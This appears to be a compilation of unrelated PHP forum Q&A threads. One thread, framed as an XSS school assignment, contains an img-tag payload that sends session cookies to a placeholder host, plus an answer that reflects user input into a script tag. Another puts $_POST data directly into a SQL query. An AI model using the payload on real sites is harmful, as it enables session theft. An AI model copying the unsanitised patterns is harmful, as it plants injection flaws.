After making a javascript variable accesable into a php file the $_GET['something'] keeps saying undefined index.
Although the proper result gets displayed and being written into the xml.
If i try to initialise it my score no longer shows up for some reason.
How can i initalise this without it showing anything at al on my screen?
Regards.
If you do this with javascript:
window.location.href="index.php?scoreresult="+score
you have to access the variable in PHP using
$_GET['scoreresult']
instead of
$_GET['score']
If you make use of XSL to transform the XML, XSLT::setParameter may be interesting to you. It allows you to register (PHP)-variables for use inside a XSL-stylesheet.

I've some strange issues with some php code.
if ($user->userType=='admin'){
If I use the above command, the php engine just stop interpreting and display the code in plain text on my browser. On the other hand if I use the below method it works:
if ($user['userType']=='admin'){
Again here also:
$_SESSION['currentUser']->id
If I use the above code it just displays the rest of code as plain text:
id); // fail user }else{ $authentication="failed"; $noAuthPresentation="loginForm"; }
Why this is happening? It's a big project and I don't want to change every line where there is an occurrence of ->.
Do I need to change some setting somewhere? I'm using WAMP server with php 5.5.12.
Any help ? Thanks!
You're mixing up types, user is an array, and not an object. Something in your php config is doing something strange to your error display it seems. Right click on the page that has the errors, and view source if possible.
Does login.php contain html and php code by chance?
I would like to pass a variable as a value to a website. (Doing a school assignment on XSS)
For example I currently have:
$.cookie('echat') and $.cookie('PHPSESSID')
I would like to pass it into a link say:
xxxx.com/xxx.php?cookie=$.cookie('PHPSESSID')
However, nothing is pass to xxxx.com/xxx.php
Any1 know the syntax to do this?
specifically i am placing a img tag like this to exploit:
< img src='http://xxxxx.com/xxxxx.php?cookie='+document.cookie>
Apparently, document.cookie is not working and I need $.cookie('PHPSESSID') to get the PHPID
Your URL is setting the value of $_GET['cookie'] to $.cookie('PHPSESSID') in your PHP script, nothing more. How that's handled is up to PHP.
Since that looks like JavaScript (specifically, the jQuery Cookie plugin), you could conceivably do echo "<script>{$_GET['cookie']}</script>"; in your PHP to spit it out as JS on the resulting page. As you hopefully know from your classes, blindly using user-submitted data like this is dangerous and a bad idea.
use this php function
url_encode("string")
such as
http://www.xxxxx.com/xxx.php?cookie=<?php echo url_encode("$.cookie('PHPSESSID')"); ?>
I have a slightly frustrating problem...
I'm sending a form value to PHP via AJAX and that seem to work fine.
When I do var_dump in PHP I see my values I can also set a variable and echo it correctly.
However, the line
$prod_id=$_POST['product'];
causes an uncaught type error in the browser.
If I just set the variable with text in PHP everything works fine.
To conclude, this piece of code works fine:
$prod_id=("Slab Skate");
$selected_customers = mysqli_query($link,"SELECT * FROM customers
INNER JOIN cust_products on cust_products.cust_id=id
INNER JOIN products on products.prod_id=cust_products.product_id
WHERE products.prod_name='$prod_id'");
This code causes uncaught typerror:
$prod_id=$_POST['product']
Same SQL statement as above.
If I do
var_dump ($prod_id);
after setting it with $_POST I get:
string(10) "Slab Skate"
My form data in network headers tab of Chrome developer tools say:
product:Slab Skate
I don't get it...
Thanks in advance for any tips.
Update and some clarifications.
The error I get is this: "Uncaught TypeError: Cannot read property 'documentElement' of null" which is a Javascript error coming from a function later in the code. However, since the whole thing works if I "hardcode" the variable instead of setting it from $_POST my assumption was that the error must reside in PHP.
But maybe that's not the case...
What I'm doing is the following: posting a form value to PHP -> use value to select from my_sql and prepare an XML output. So far so good, (I can see the xml output in Chrome dev tools) but then I go back to a javascript to fetch the xml output from my PHP file and then it fails.
When thinking about it, it's rather obvious why it works with a "hardoded" variable and not with the $_POST set one.
So, I see two solutions either set the PHP variable in my_sql or using javascript more intelligently.
Do anyone have a smart solution? I could post all the code, but it's quite long.
Second update:
I solved the issue by writing an xml file to the server instead of trying to download it from the php file. Then my java function can process the xml correctly.
It does work, but I'm not sure how well it scales? It must be better to process the xml output from PHP directly rather then saving it to file first and then process. But, I have no insight on how big the difference is...

I wouldn't use SELECT * FROM when using Inner Join if i were you. that would cause all sort of problems , simply give the names of columns.
hello how to set a value in php variables from fbml(facebook markup language)
<fb:comments-count href=http://domain.com/view/24></fb:comments-count>
please share your idea :)
I think what you're trying to do is get the number of comments for a certain page. In that case you shouldn't do it via FBML but instead make a REST call: http://developers.facebook.com/docs/reference/fbml/comments_(XFBML)/
You'll see that you can do a call along the lines of https://api.facebook.com/method/fb:comments?access_token=https://api.facebook.com/method/fb:comments?access_token=FOO
I am looking to manipulate the $session->flash() output in my CakePHP app, Currently I have the very simple default implementation of showing flash and auth error messages:
<?php
$session->flash();
$session->flash('auth');
?>
This produces a <div> with an ID and class that has the message inside. What I would like to do is wrap/replace the generated HTML, specifically with some jQuery UI classes, but wrapping is difficult as I am unable to tell when there is actually a message going to be displayed so I end up with an empty but style error div. What I really need for wrapping to work is to check in $session->flash() returns anything, but I get 'can't use method return value in write context' when checking it with empty();
As far as I can tell the generated HTML is hard coded into the session helper! Bonus points if you can work out how to change the class on the auth message and normal flash message independently.
To check if a message is going to be flashed, put this in the layout
<?php if($session->check('Message')){ echo $this->Session->flash();} ?>
CSS attributs can be set when you set the message to be flashed
http://book.cakephp.org/view/1311/Methods#setFlash-1313
read up on setFlash() and use the other params that the method takes to define your own elements. you can then do what ever you like.
http://book.cakephp.org/view/400/setFlash
A work-around solution I have found is to set $session->flash() to a variable and then check it with empty() so I can echo out the appropriate <div> if necessary.
$flashMessage = $this->flash();
$authMessage = $this->flash('auth');
.. and then check if each one is empty. Of course I have some unnecessary html inside there but as far as the auth message goes, I think this is as flexible as I can get.
